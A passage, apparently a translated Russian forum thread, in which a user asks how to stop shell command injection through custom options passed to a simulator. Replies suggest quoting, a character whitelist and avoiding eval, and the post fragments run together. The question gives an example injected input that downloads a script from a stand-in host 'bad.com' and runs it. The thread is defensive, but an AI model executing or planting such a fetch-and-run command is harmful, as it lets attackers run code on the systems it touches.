У меня есть приложение-обертка, где мне нужно разрешить пользователю указывать пользовательские параметры для передачи в симулятор. Однако я хочу убедиться, что пользователь не вводит другие команды через пользовательские опции. Какой лучший способ сделать это?
Например.
- Пользователь предоставляет:
-a -b
- Приложение выполняет:
mysim --preset_opt -a -b
Однако я не хочу, чтобы это произошло:
- Пользователь предоставляет:
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- Приложение выполняет:
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
В настоящее время я думаю, что я мог бы просто окружить каждую предоставленную пользователем опцию одинарными кавычками '
и убрать любые предоставленные пользователем одинарные кавычки, чтобы команда в последнем примере оказалась безвредной:
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
Примечание. mysim
Команда выполняется как часть сценария оболочки в контейнере docker / lxc. Я использую Ubuntu.
eval
. Я вызываю исполняемый файл mysim
внутри сценария оболочки. Я вижу, как происходит внедрение, если я просто копирую строку параметров, предоставленных пользователем, и вставляю ее в конце mysim
команды.
-a -b
. Поэтому я хочу убедиться, что дополнительные команды не вводятся в эту строку.
[a-zA-Z0-9 _-]
выглядит довольно оборонительным выбором.
eval
для запуска приложения? Если нет, укол не должен произойти:x="&& echo Doomed" ; echo $x